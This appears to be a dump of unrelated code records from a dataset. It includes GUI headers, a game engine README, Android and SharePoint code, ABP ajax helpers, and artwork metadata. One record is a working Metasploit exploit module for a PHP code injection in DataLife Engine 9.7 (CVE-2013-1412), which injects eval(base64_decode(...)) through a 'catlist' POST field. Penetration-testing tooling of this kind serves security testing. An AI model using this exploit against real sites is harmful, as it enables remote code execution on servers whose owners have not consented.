m_staticText13;\n\t\twxStaticText* txtADC1;\n\t\twxStaticText* txtADC1_V;\n\t\twxStaticText* m_staticText27;\n\t\twxStaticText* m_staticText10;\n\t\twxStaticText* txtPFWD_dBm;\n\t\twxStaticText* m_staticText12;\n\t\twxStaticText* txtPFWD_W;\n\t\twxStaticText* m_staticText16;\n\t\twxStaticText* m_staticText102;\n\t\twxTextCtrl* tcPowerCalibrate;\n\t\twxStaticText* m_staticText122;\n\t\twxPanel* pnlADC2;\n\t\twxStaticText* m_staticText131;\n\t\twxStaticText* txtADC2;\n\t\twxStaticText* txtADC2_V;\n\t\twxStaticText* m_staticText29;\n\t\twxStaticText* m_staticText101;\n\t\twxStaticText* txtRL_dB;\n\t\twxStaticText* m_staticText121;\n\t\twxStaticText* m_staticText31;\n\t\twxStaticText* txtSWR;\n\t\twxStaticText* m_staticText1021;\n\t\twxTextCtrl* tcRLCalibrate;\n\t\twxStaticText* m_staticText1221;\n\t\twxPanel* m_panel173;\n\t\twxTextCtrl* txtMessageField;\n\t\twxPanel* m_panel18;\n\t\twxButton* btnClearMessages;\n\n\t\t// Virtual event handlers, overide them in your derived class\n\t\tvirtual void OnQuit( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OnrbI2CrbUSB( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OnbtnRefreshPorts( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OnbtnOpenPort( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OnbtnClosePort( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OnbtnOpen( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OnbtnSave( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OnbtnReset( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OnbtnBoard2GUI( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OnEraseBackground_pnlConfiguration( wxEraseEvent& event ) { event.Skip(); }\n\t\tvirtual void OncTypeRX( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OncChannelRX( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OncPortRX( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OncAttenuation( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OncbNotch( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OncbTXasRX( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OncTypeTX( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OncChannelTX( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OncPortTX( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OncbEnableSWR( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OnrbSWRext( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OnrbSWRcell( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OntbtnTXRX( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OntbtnRXEN( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OntbtnTXEN( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OnbtnConfigure( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OnbtnReadADC( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OnbtnCalibrate( wxCommandEvent& event ) { event.Skip(); }\n\t\tvirtual void OnbtnClearMessages( wxCommandEvent& event ) { event.Skip(); }\n\n\n\tpublic:\n\n\t\tlimeRFE_view( wxWindow* parent, wxWindowID id = wxID_ANY, const wxString& title = wxT(\"LimeRFE Control\"), const wxPoint& pos = wxDefaultPosition, const wxSize& size = wxSize( -1,-1 ), long style = wxCAPTION|wxCLOSE_BOX|wxMINIMIZE_BOX|wxSYSTEM_MENU|wxTAB_TRAVERSAL );\n\n\t\t~limeRFE_view();\n\n};\n\n"} {"text": "package com.bestaone.hiauth.utils;\n\npublic class Constant {\n\n /**\n * 登录时存储图形验证码到缓存中的key\n */\n public static final String CACHE_KEY_IMAGE_YZM = \"image_yzm\";\n /**\n * 登录时存储短信验证码到缓存中的key\n */\n public static final String CACHE_KEY_SMS_YZM = \"sms_yzm\";\n\n /**\n * 提交表单时request key\n */\n public static final String REQUEST_KEY_FORM_TOKEN = \"formToken\";\n\n}\n"} {"text": "[![Platypus](http://platypus.gopherwoodstudios.com/assets/platypus-title.png)](https://github.com/PBS-KIDS/Platypus)\n========\n\n2D tile based game framework in HTML5\n\nThe Platypus Engine allows rapid development of 2D orthogonal tile based games for deployment in HTML5 compatible browsers. The engine uses a component based model, and includes many ready to use components to allow users to start adding assets and editing levels right away. The component based model lends itself to community members adding new functionality, we hope you'll share what you've done!\n\nPlatypus uses:\n\n * The [Tiled](http://www.mapeditor.org/) map editor for level creation.\n * [SpringRoll (v1)](http://springroll.io) for application management.\n * [Pixi.js](http://www.pixijs.com/) for rendering visuals.\n\n## Key Features\n\n* Deploy on any HTML5 platform supported by SpringRoll v1\n* Multi-platform support\n* Automatic scaling\n* Touch and keyboard input\n* Component-based development model\n* [Documentation](https://github.com/PBS-KIDS/Platypus/wiki)\n\nPlatypus in action:\n* Ready Jet GO! [Mission Earth](https://pbskids.org/readyjetgo/games/mission/index.html)\n* Wild Kratts [Monkey Mayhem](http://pbskids.org/wildkratts/games/monkey-mayhem/)\n\n## Building\nPlatypus uses [Grunt](http://gruntjs.com/) to manage the build process. To export a release build for this library run:\n\n grunt build\n\nThis command will:\n\n* Update the platypus.js file with the current date and version number from config\n* Create the {PROJECT_NAME}-{VERSION}.min.js file and move it to ../lib\n* Generate the documentation in the docs_out_path from config\n* Create a zip file of the documentation and move it to ../docs\n\n### NEXT version\n\nThe same process as above, but uses \"NEXT\" as the version and doesn't generate documentation. This is used to generate minified builds with the latest source between release versions.\n\n\tgrunt next\n\n### Combined File\n\nThe same as the NEXT process, but will not minify the source code. All code formatting and comments are left intact.\n\n\tgrunt combine\n\n\n### All commands\n\n* grunt build - Build everything based on the version in package.json\n* grunt next - Build everything using the NEXT version.\n* grunt combine - Build a NEXT version, but leave comments and formatting intact.\n* grunt docs - Build only the docs\n* grunt uglify - Build only the min files. (Will use NEXT as the version)\n* npm test - Run tests to verify game engine functionality.\n\n***\n[Code](https://github.com/PBS-KIDS/Platypus/) - [Wiki](https://github.com/PBS-KIDS/Platypus/wiki/) - [Docs](http://gopherwood.github.io/Platypus/)\n\nPlatypus was developed by PBS KIDS and [Gopherwood Studios](http://gopherwoodstudios.com/). It is free to use (see licenses.txt), all assets in the example games are © Gopherwood Studios and/or © PBS KIDS.\n"} {"text": "package net.osmand.plus.mapcontextmenu.controllers;\n\nimport android.graphics.drawable.Drawable;\n\nimport androidx.annotation.NonNull;\n\nimport net.osmand.data.PointDescription;\nimport net.osmand.plus.R;\nimport net.osmand.plus.activities.MapActivity;\nimport net.osmand.plus.activities.search.SearchHistoryFragment;\nimport net.osmand.plus.helpers.SearchHistoryHelper.HistoryEntry;\nimport net.osmand.plus.mapcontextmenu.MenuBuilder;\nimport net.osmand.plus.mapcontextmenu.MenuController;\nimport net.osmand.util.Algorithms;\n\npublic class HistoryMenuController extends MenuController {\n\n\tprivate HistoryEntry entry;\n\tprivate boolean hasTypeInDescription;\n\n\tpublic HistoryMenuController(@NonNull MapActivity mapActivity, @NonNull PointDescription pointDescription, final @NonNull HistoryEntry entry) {\n\t\tsuper(new MenuBuilder(mapActivity), pointDescription, mapActivity);\n\t\tthis.entry = entry;\n\t\tbuilder.setShowNearestWiki(true);\n\t\tinitData();\n\t}\n\n\tprivate void initData() {\n\t\thasTypeInDescription = !Algorithms.isEmpty(entry.getName().getTypeName());\n\t}\n\n\t@Override\n\tprotected void setObject(Object object) {\n\t\tif (object instanceof HistoryEntry) {\n\t\t\tthis.entry = (HistoryEntry) object;\n\t\t\tinitData();\n\t\t}\n\t}\n\n\t@Override\n\tprotected Object getObject() {\n\t\treturn entry;\n\t}\n\n\t@Override\n\tpublic boolean displayStreetNameInTitle() {\n\t\treturn entry.getName().isLocation();\n\t}\n\n\t@Override\n\tpublic boolean displayDistanceDirection() {\n\t\treturn true;\n\t}\n\n\t@Override\n\tpublic Drawable getRightIcon() {\n\t\treturn getIcon(SearchHistoryFragment.getItemIcon(entry.getName()));\n\t}\n\n\t@Override\n\tpublic Drawable getSecondLineTypeIcon() {\n\t\tif (hasTypeInDescription) {\n\t\t\treturn getIcon(R.drawable.ic_action_group_name_16);\n\t\t} else {\n\t\t\treturn null;\n\t\t}\n\t}\n\n\t@NonNull\n\t@Override\n\tpublic String getTypeStr() {\n\t\tif (hasTypeInDescription) {\n\t\t\treturn entry.getName().getTypeName();\n\t\t} else {\n\t\t\treturn \"\";\n\t\t}\n\t}\n\n\t@NonNull\n\t@Override\n\tpublic String getCommonTypeStr() {\n\t\tMapActivity mapActivity = getMapActivity();\n\t\tif (mapActivity != null) {\n\t\t\treturn mapActivity.getString(R.string.shared_string_history);\n\t\t} else {\n\t\t\treturn \"\";\n\t\t}\n\t}\n\n\t@Override\n\tpublic boolean needStreetName() {\n\t\treturn !entry.getName().isAddress();\n\t}\n}\n"} {"text": "//\n// Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 15 2018 10:31:50).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.\n//\n\n#import <TuriCore/JSExport-Protocol.h>\n\n@class NSString;\n\n@protocol TCVegaCSSStyleDeclarationInterface <JSExport>\n@property(retain, nonatomic) NSString *cursor;\n@end\n\n"} {"text": "{\n \"acno\": \"D23822\", \n \"acquisitionYear\": 1856, \n \"additionalImages\": [\n {\n \"copyright\": null, \n \"creativeCommons\": null, \n \"filenameBase\": \"D23822\", \n \"sizes\": [\n {\n \"caption\": \"Enhanced image\", \n \"cleared\": true, \n \"file\": \"enhanced_images/D238/D23822_E.jpg\", \n \"height\": 368, \n \"resolution\": 512, \n \"size\": \"large\", \n \"width\": 512\n }\n ]\n }\n ], \n \"all_artists\": \"Joseph Mallord William Turner\", \n \"catalogueGroup\": {\n \"accessionRanges\": \"D23699-D23885; D41080-D41081\", \n \"completeStatus\": \"COMPLETE\", \n \"finbergNumber\": \"CCLIII\", \n \"groupType\": \"Turner Sketchbook\", \n \"id\": 65883, \n \"shortTitle\": \"Tancarville and Lillebonne Sketchbook\"\n }, \n \"classification\": \"on paper, unique\", \n \"contributorCount\": 1, \n \"contributors\": [\n {\n \"birthYear\": 1775, \n \"date\": \"1775\\u20131851\", \n \"displayOrder\": 1, \n \"fc\": \"Joseph Mallord William Turner\", \n \"gender\": \"Male\", \n \"id\": 558, \n \"mda\": \"Turner, Joseph Mallord William\", \n \"role\": \"artist\", \n \"startLetter\": \"T\"\n }\n ], \n \"creditLine\": \"Accepted by the nation as part of the Turner Bequest 1856\", \n \"dateRange\": {\n \"endYear\": 1829, \n \"startYear\": 1829, \n \"text\": \"?1829\"\n }, \n \"dateText\": \"?1829\", \n \"depth\": \"\", \n \"dimensions\": \"support: 156 x 107 mm\", \n \"finberg\": \"CCLIII 63\", \n \"foreignTitle\": null, \n \"groupTitle\": \"Tancarville and Lillebonne Sketchbook\", \n \"height\": \"107\", \n \"id\": 51159, \n \"inscription\": null, \n \"medium\": \"Graphite on paper\", \n \"movementCount\": 0, \n \"pageNumber\": 127, \n \"subjectCount\": 2, \n \"subjects\": {\n \"children\": [\n {\n \"children\": [\n {\n \"children\": [\n {\n \"id\": 636, \n \"name\": \"hill\"\n }\n ], \n \"id\": 71, \n \"name\": \"landscape\"\n }\n ], \n \"id\": 60, \n \"name\": \"nature\"\n }, \n {\n \"children\": [\n {\n \"children\": [\n {\n \"id\": 2355, \n \"name\": \"ship, sailing\"\n }\n ], \n \"id\": 161, \n \"name\": \"transport: water\"\n }\n ], \n \"id\": 145, \n \"name\": \"society\"\n }\n ], \n \"id\": 1, \n \"name\": \"subject\"\n }, \n \"thumbnailCopyright\": null, \n \"thumbnailUrl\": \"http://www.tate.org.uk/art/images/work/D/D23/D23822_8.jpg\", \n \"title\": \"Sailing Vessels on River\", \n \"units\": \"mm\", \n \"url\": \"http://www.tate.org.uk/art/artworks/turner-sailing-vessels-on-river-d23822\", \n \"width\": \"156\"\n}"} {"text": "##\r\n# This file is part of the Metasploit Framework and may be subject to\r\n# redistribution and commercial restrictions. Please see the Metasploit\r\n# web site for more information on licensing and terms of use.\r\n# http://metasploit.com/\r\n##\r\n\r\nrequire 'msf/core'\r\n\r\nclass Metasploit3 < Msf::Exploit::Remote\r\n\tRank = ExcellentRanking\r\n\r\n\tinclude Msf::Exploit::Remote::HttpClient\r\n\r\n\tdef initialize(info = {})\r\n\t\tsuper(update_info(info,\r\n\t\t\t'Name' => 'DataLife Engine preview.php PHP Code Injection',\r\n\t\t\t'Description' => %q{\r\n\t\t\t\t\tThis module exploits a PHP code injection vulnerability DataLife Engine 9.7.\r\n\t\t\t\tThe vulnerability exists in preview.php, due to an insecure usage of preg_replace()\r\n\t\t\t\twith the e modifier, which allows to inject arbitrary php code, when the template\r\n\t\t\t\tin use contains a [catlist] or [not-catlist] tag.\r\n\t\t\t},\r\n\t\t\t'Author' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t'EgiX', # Vulnerability discovery\r\n\t\t\t\t\t'juan vazquez' # Metasploit module\r\n\t\t\t\t],\r\n\t\t\t'License' => MSF_LICENSE,\r\n\t\t\t'References' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t[ 'CVE', '2013-1412' ],\r\n\t\t\t\t\t[ 'BID', '57603' ],\r\n\t\t\t\t\t[ 'EDB', '24438' ],\r\n\t\t\t\t\t[ 'URL', 'http://karmainsecurity.com/KIS-2013-01' ],\r\n\t\t\t\t\t[ 'URL', 'http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html' ]\r\n\t\t\t\t],\r\n\t\t\t'Privileged' => false,\r\n\t\t\t'Platform' => ['php'],\r\n\t\t\t'Arch' => ARCH_PHP,\r\n\t\t\t'Payload' =>\r\n\t\t\t\t{\r\n\t\t\t\t\t'Keys' => ['php']\r\n\t\t\t\t},\r\n\t\t\t'DisclosureDate' => 'Jan 28 2013',\r\n\t\t\t'Targets' => [ ['DataLife Engine 9.7', { }], ],\r\n\t\t\t'DefaultTarget' => 0\r\n\t\t\t))\r\n\r\n\t\tregister_options(\r\n\t\t\t[\r\n\t\t\t\tOptString.new('TARGETURI', [ true, \"The base path to the web application\", \"/\"])\r\n\t\t\t], self.class)\r\n\tend\r\n\r\n\tdef uri\r\n\t\tnormalize_uri(target_uri.path, 'engine', 'preview.php')\r\n\tend\r\n\r\n\tdef check\r\n\t\tfingerprint = rand_text_alpha(4+rand(4))\r\n\t\tres = send_request_cgi(\r\n\t\t\t{\r\n\t\t\t\t'uri' => uri,\r\n\t\t\t\t'method' => 'POST',\r\n\t\t\t\t'vars_post' =>\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t'catlist[0]' => \"#{rand_text_alpha(4+rand(4))}')||printf(\\\"#{fingerprint}\\\");//\"\r\n\t\t\t\t\t}\r\n\t\t\t})\r\n\r\n\t\tif res and res.code == 200 and res.body =~ /#{fingerprint}/\r\n\t\t\treturn Exploit::CheckCode::Vulnerable\r\n\t\telse\r\n\t\t\treturn Exploit::CheckCode::Safe\r\n\t\tend\r\n\tend\r\n\r\n\tdef exploit\r\n\t\t@peer = \"#{rhost}:#{rport}\"\r\n\r\n\t\tprint_status(\"#{@peer} - Exploiting the preg_replace() to execute PHP code\")\r\n\t\tres = send_request_cgi(\r\n\t\t\t{\r\n\t\t\t\t'uri' => uri,\r\n\t\t\t\t'method' => 'POST',\r\n\t\t\t\t'vars_post' =>\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t'catlist[0]' => \"#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\\\"#{Rex::Text.encode_base64(payload.encoded)}\\\"));//\"\r\n\t\t\t\t\t}\r\n\t\t\t})\r\n\tend\r\nend"} {"text": "var abp = abp || {};\n(function ($) {\n\n if (!$) {\n return;\n }\n\n /* JQUERY ENHANCEMENTS ***************************************************/\n\n // abp.ajax -> uses $.ajax ------------------------------------------------\n\n abp.ajax = function (userOptions) {\n userOptions = userOptions || {};\n\n var options = $.extend(true, {}, abp.ajax.defaultOpts, userOptions);\n var oldBeforeSendOption = options.beforeSend;\t\t\n options.beforeSend = function(xhr) {\n if (oldBeforeSendOption) {\n oldBeforeSendOption(xhr);\n }\n\n xhr.setRequestHeader(\"Pragma\", \"no-cache\");\n xhr.setRequestHeader(\"Cache-Control\", \"no-cache\");\n xhr.setRequestHeader(\"Expires\", \"Sat, 01 Jan 2000 00:00:00 GMT\");\n };\n\n options.success = undefined;\n options.error = undefined;\n\n return $.Deferred(function ($dfd) {\n $.ajax(options)\n .done(function (data, textStatus, jqXHR) {\n if (data.__abp) {\n abp.ajax.handleResponse(data, userOptions, $dfd, jqXHR);\n } else {\n $dfd.resolve(data);\n userOptions.success && userOptions.success(data);\n }\n }).fail(function (jqXHR) {\n if (jqXHR.responseJSON && jqXHR.responseJSON.__abp) {\n abp.ajax.handleResponse(jqXHR.responseJSON, userOptions, $dfd, jqXHR);\n } else {\n abp.ajax.handleNonAbpErrorResponse(jqXHR, userOptions, $dfd);\n }\n });\n });\n };\n\n $.extend(abp.ajax, {\n defaultOpts: {\n dataType: 'json',\n type: 'POST',\n contentType: 'application/json',\n headers: {\n 'X-Requested-With': 'XMLHttpRequest'\n }\n },\n\n defaultError: {\n message: 'An error has occurred!',\n details: 'Error detail not sent by server.'\n },\n\n defaultError401: {\n message: 'You are not authenticated!',\n details: 'You should be authenticated (sign in) in order to perform this operation.'\n },\n\n defaultError403: {\n message: 'You are not authorized!',\n details: 'You are not allowed to perform this operation.'\n },\n\n defaultError404: {\n message: 'Resource not found!',\n details: 'The resource requested could not found on the server.'\n },\n\n logError: function (error) {\n abp.log.error(error);\n },\n\n showError: function (error) {\n if (error.details) {\n return abp.message.error(error.details, error.message);\n } else {\n return abp.message.error(error.message || abp.ajax.defaultError.message);\n }\n },\n\n handleTargetUrl: function (targetUrl) {\n if (!targetUrl) {\n location.href = abp.appPath;\n } else {\n location.href = targetUrl;\n }\n },\n\n handleNonAbpErrorResponse: function (jqXHR, userOptions, $dfd) {\n if (userOptions.abpHandleError !== false) {\n switch (jqXHR.status) {\n case 401:\n abp.ajax.handleUnAuthorizedRequest(\n abp.ajax.showError(abp.ajax.defaultError401),\n abp.appPath\n );\n break;\n case 403:\n abp.ajax.showError(abp.ajax.defaultError403);\n break;\n case 404:\n abp.ajax.showError(abp.ajax.defaultError404);\n break;\n default:\n abp.ajax.showError(abp.ajax.defaultError);\n break;\n }\n }\n\n $dfd.reject.apply(this, arguments);\n userOptions.error && userOptions.error.apply(this, arguments);\n },\n\n handleUnAuthorizedRequest: function (messagePromise, targetUrl) {\n if (messagePromise) {\n messagePromise.done(function () {\n abp.ajax.handleTargetUrl(targetUrl);\n });\n } else {\n abp.ajax.handleTargetUrl(targetUrl);\n }\n },\n\n handleResponse: function (data, userOptions, $dfd, jqXHR) {\n if (data) {\n if (data.success === true) {\n $dfd && $dfd.resolve(data.result, data, jqXHR);\n userOptions.success && userOptions.success(data.result, data, jqXHR);\n\n if (data.targetUrl) {\n abp.ajax.handleTargetUrl(data.targetUrl);\n }\n } else if (data.success === false) {\n var messagePromise = null;\n\n if (data.error) {\n if (userOptions.abpHandleError !== false) {\n messagePromise = abp.ajax.showError(data.error);\n }\n } else {\n data.error = abp.ajax.defaultError;\n }\n\n abp.ajax.logError(data.error);\n\n $dfd && $dfd.reject(data.error, jqXHR);\n userOptions.error && userOptions.error(data.error, jqXHR);\n\n if (jqXHR.status === 401 && userOptions.abpHandleError !== false) {\n abp.ajax.handleUnAuthorizedRequest(messagePromise, data.targetUrl);\n }\n } else { //not wrapped result\n $dfd && $dfd.resolve(data, null, jqXHR);\n userOptions.success && userOptions.success(data, null, jqXHR);\n }\n } else { //no data sent to back\n $dfd && $dfd.resolve(jqXHR);\n userOptions.success && userOptions.success(jqXHR);\n }\n },\n\n blockUI: function (options) {\n if (options.blockUI) {\n if (options.blockUI === true) { //block whole page\n abp.ui.setBusy();\n } else { //block an element\n abp.ui.setBusy(options.blockUI);\n }\n }\n },\n\n unblockUI: function (options) {\n if (options.blockUI) {\n if (options.blockUI === true) { //unblock whole page\n abp.ui.clearBusy();\n } else { //unblock an element\n abp.ui.clearBusy(options.blockUI);\n }\n }\n },\n\n ajaxSendHandler: function (event, request, settings) {\n var token = abp.security.antiForgery.getToken();\n if (!token) {\n return;\n }\n\n if (!abp.security.antiForgery.shouldSendToken(settings)) {\n return;\n }\n\n if (!settings.headers || settings.headers[abp.security.antiForgery.tokenHeaderName] === undefined) {\n request.setRequestHeader(abp.security.antiForgery.tokenHeaderName, token);\n }\n }\n });\n\n $(document).ajaxSend(function (event, request, settings) {\n return abp.ajax.ajaxSendHandler(event, request, settings);\n });\n\n /* JQUERY PLUGIN ENHANCEMENTS ********************************************/\n\n /* jQuery Form Plugin \n * http://www.malsup.com/jquery/form/\n */\n\n // abpAjaxForm -> uses ajaxForm ------------------------------------------\n\n if ($.fn.ajaxForm) {\n $.fn.abpAjaxForm = function (userOptions) {\n userOptions = userOptions || {};\n\n var options = $.extend({}, $.fn.abpAjaxForm.defaults, userOptions);\n\n options.beforeSubmit = function () {\n abp.ajax.blockUI(options);\n userOptions.beforeSubmit && userOptions.beforeSubmit.apply(this, arguments);\n };\n\n options.success = function (data) {\n abp.ajax.handleResponse(data, userOptions);\n };\n\n //TODO: Error?\n\n options.complete = function () {\n abp.ajax.unblockUI(options);\n userOptions.complete && userOptions.complete.apply(this, arguments);\n };\n\n return this.ajaxForm(options);\n };\n\n $.fn.abpAjaxForm.defaults = {\n method: 'POST'\n };\n }\n\n abp.event.on('abp.dynamicScriptsInitialized', function () {\n abp.ajax.defaultError.message = abp.localization.abpWeb('DefaultError');\n abp.ajax.defaultError.details = abp.localization.abpWeb('DefaultErrorDetail');\n abp.ajax.defaultError401.message = abp.localization.abpWeb('DefaultError401');\n abp.ajax.defaultError401.details = abp.localization.abpWeb('DefaultErrorDetail401');\n abp.ajax.defaultError403.message = abp.localization.abpWeb('DefaultError403');\n abp.ajax.defaultError403.details = abp.localization.abpWeb('DefaultErrorDetail403');\n abp.ajax.defaultError404.message = abp.localization.abpWeb('DefaultError404');\n abp.ajax.defaultError404.details = abp.localization.abpWeb('DefaultErrorDetail404');\n });\n\n})(jQuery);\n"} {"text": "using Provisioning.Common.Authentication;\nusing Provisioning.Common.Configuration;\nusing Provisioning.Common.Configuration.Application;\nusing Provisioning.Common.Utilities;\nusing Microsoft.Online.SharePoint.TenantAdministration;\nusing Microsoft.Online.SharePoint.TenantManagement;\nusing Microsoft.SharePoint.Client;\nusing OfficeDevPnP.Core.Entities;\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Text;\nusing System.Threading;\nusing System.Threading.Tasks;\nusing Provisioning.Common.Data.Templates;\nusing System.Diagnostics;\n\n\nnamespace Provisioning.Common\n{\n /// <summary>\n /// Abstract Site Provisioning Service\n /// </summary>\n public abstract class AbstractSiteProvisioningService : ISiteProvisioning, ISharePointClientService\n {\n #region Properties\n /// <summary>\n /// Gets or Sets the services Authentication.\n /// </summary>\n public IAuthentication Authentication\n {\n get;\n set;\n }\n #endregion\n\n #region ISiteProvisioning Members\n public abstract void CreateSiteCollection(SiteInformation siteRequest, Template template);\n\n public abstract Web CreateSubSite(SiteInformation siteRequest, Template template);\n\n public virtual bool IsTenantExternalSharingEnabled(string tenantUrl)\n {\n Log.Info(\"AbstractSiteProvisioningService.IsTenantExternalSharingEnabled\", \"Entering IsTenantExternalSharingEnabled Url {0}\", tenantUrl);\n var _returnResult = false;\n UsingContext(ctx =>\n {\n Stopwatch _timespan = Stopwatch.StartNew();\n Tenant _tenant = new Tenant(ctx);\n ctx.Load(_tenant);\n try\n { \n //IF CALLING SP ONPREM THIS WILL FAIL\n ctx.ExecuteQuery();\n //check sharing capabilities\n if(_tenant.SharingCapability == SharingCapabilities.Disabled)\n {\n _returnResult = false;\n }\n else\n {\n _returnResult = true;\n }\n _timespan.Stop();\n Log.TraceApi(\"SharePoint\", \"AbstractSiteProvisioningService.IsTenantExternalSharingEnabled\", _timespan.Elapsed);\n\n }\n catch(Exception ex)\n {\n Log.Error(\"Provisioning.Common.AbstractSiteProvisioningService.IsTenantExternalSharingEnabled\", \n PCResources.ExternalSharing_Enabled_Error_Message, \n tenantUrl, \n ex);\n }\n });\n\n return _returnResult;\n }\n\n /// <summary>\n /// \n /// </summary>\n /// <param name=\"siteUrl\"></param>\n public virtual bool isSiteExternalSharingEnabled(string siteUrl)\n {\n ConfigManager _manager = new ConfigManager();\n var _tenantAdminUrl = _manager.GetAppSettingsKey(\"TenantAdminUrl\");\n var _returnResult = false;\n\n AbstractSiteProvisioningService _siteService = new Office365SiteProvisioningService();\n _siteService.Authentication = new AppOnlyAuthenticationTenant();\n _siteService.Authentication.TenantAdminUrl = _tenantAdminUrl;\n\n _siteService.UsingContext(ctx =>\n {\n try\n {\n Tenant _tenant = new Tenant(ctx);\n SiteProperties _siteProps = _tenant.GetSitePropertiesByUrl(siteUrl, false);\n ctx.Load(_tenant);\n ctx.Load(_siteProps);\n ctx.ExecuteQuery();\n\n\n var _tenantSharingCapability = _tenant.SharingCapability;\n var _siteSharingCapability = _siteProps.SharingCapability;\n\n if (_tenantSharingCapability != SharingCapabilities.Disabled)\n {\n if (_siteSharingCapability != SharingCapabilities.Disabled)\n {\n // Enabled\n _returnResult = true;\n }\n else\n {\n // Disabled\n _returnResult = false;\n }\n }\n else\n {\n // Disabled\n _returnResult = false;\n }\n\n }\n catch (Exception _ex)\n {\n Log.Warning(\"AbstractSiteProvisioningService.IsSiteExternalSharingEnabled\",\n PCResources.SiteExternalSharing_Enabled_Error_Message,\n siteUrl,\n _ex);\n }\n\n });\n\n return _returnResult;\n }\n\n public abstract void SetExternalSharing(SiteInformation siteInfo);\n\n public virtual SitePolicyEntity GetAppliedSitePolicy()\n {\n Log.Info(\"AbstractSiteProvisioningService.GetAppliedSitePolicy\", \"Entering GetAppliedSitePolicy\");\n SitePolicyEntity _appliedSitePolicy = null;\n UsingContext(ctx =>\n {\n Stopwatch _timespan = Stopwatch.StartNew();\n var _web = ctx.Web;\n _appliedSitePolicy = _web.GetAppliedSitePolicy();\n \n _timespan.Stop();\n Log.TraceApi(\"SharePoint\", \"AbstractSiteProvisioningService.IsTenantExternalSharingEnabled\", _timespan.Elapsed);\n });\n return _appliedSitePolicy;\n }\n\n public virtual void SetSitePolicy(string policyName)\n {\n Log.Info(\"AbstractSiteProvisioningService.SetSitePolicy\", \"Entering SetSitePolicy Policy Name {0}\", policyName);\n UsingContext(ctx =>\n {\n Stopwatch _timespan = Stopwatch.StartNew();\n var _web = ctx.Web;\n bool _policyApplied = _web.ApplySitePolicy(policyName);\n \n _timespan.Stop();\n Log.TraceApi(\"SharePoint\", \"AbstractSiteProvisioningService.SetSitePolicy\", _timespan.Elapsed);\n });\n }\n\n public virtual List<SitePolicyEntity> GetAvailablePolicies()\n {\n List<SitePolicyEntity> _results = new List<SitePolicyEntity>();\n UsingContext(ctx =>\n {\n var _web = ctx.Web;\n _results = _web.GetSitePolicies();\n });\n return _results;\n }\n \n public Web GetWebByUrl(string url)\n {\n Log.Info(\"AbstractSiteProvisioningService.GetWebByUrl\", \"Entering GetWebByUrl Url {0}\", url);\n Web _web = null;\n UsingContext(ctx =>\n {\n _web = ctx.Site.RootWeb;\n ctx.Load(_web);\n ctx.ExecuteQuery();\n });\n\n return _web;\n }\n \n /// <summary>\n /// Returns the Site Collection ID\n /// </summary>\n /// <param name=\"url\"></param>\n /// <returns></returns>\n public Guid? GetSiteGuidByUrl(string url)\n {\n Log.Info(\"AbstractSiteProvisioningService.GetSiteGuidByUrl\", \"Entering GetSiteGuidByUrl Url {0}\", url);\n Guid? _siteID = Guid.Empty;\n UsingContext(ctx =>\n {\n Tenant _tenant = new Tenant(ctx);\n _siteID = _tenant.GetSiteGuidByUrl(url);\n });\n\n return _siteID;\n }\n #endregion\n \n /// <summary>\n /// Checks to see if a site already exists.\n /// </summary>\n /// <param name=\"siteUrl\"></param>\n /// <returns></returns>\n public bool SiteExists(string siteUrl)\n {\n bool _doesSiteExist = false;\n UsingContext(ctx =>\n {\n var tenant = new Tenant(ctx);\n _doesSiteExist = tenant.SiteExists(siteUrl);\n });\n return _doesSiteExist;\n }\n\n /// <summary>\n /// Checks to see if a sub site already exists.\n /// </summary>\n /// <param name=\"siteUrl\"></param>\n /// <returns></returns>\n public bool SubSiteExists(string siteUrl)\n {\n bool _doesSiteExist = false;\n UsingContext(ctx =>\n {\n var tenant = new Tenant(ctx);\n _doesSiteExist = tenant.SubSiteExists(siteUrl);\n });\n return _doesSiteExist;\n }\n\n #region ISharePointService Members\n /// <summary>\n /// Delegate that is used to handle creation of ClientContext that is authenticated\n /// </summary>\n /// <param name=\"action\"></param>\n public void UsingContext(Action<ClientContext> action)\n {\n UsingContext(action, Timeout.Infinite);\n }\n\n /// <summary>\n /// Delegate that is used to handle creation of ClientContext that is authenticated\n /// </summary>\n /// <param name=\"action\"></param>\n public void UsingContext(Action<ClientContext> action, int csomTimeout)\n {\n using (ClientContext _ctx = Authentication.GetAuthenticatedContext())\n {\n _ctx.RequestTimeout = csomTimeout;\n action(_ctx);\n }\n }\n #endregion\n \n }\n}\n"} {"text": "\n<!DOCTYPE html>\n\n<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"Python\">\n <head>\n <meta 